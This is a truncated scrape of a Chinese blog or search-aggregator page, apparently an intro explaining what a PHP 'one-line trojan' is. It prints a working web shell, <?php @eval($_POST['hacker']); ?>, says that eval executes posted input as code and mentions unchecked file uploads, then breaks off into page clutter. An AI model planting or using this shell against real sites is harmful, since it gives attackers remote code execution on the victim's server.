    0x00参考文章 ...https://xz.aliyun.com/t/2435...0x01 什么是一句话木马 <?php @eval($_POST['hacker']); ?> 如上就是一句一句话木马,eval函数可以使php将post进去的内容当做代码处理 如果网站在用户上传文件时没

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 3,796
精华内容 1,518
关键字:

js一句话木马

友情链接: 7726946.rar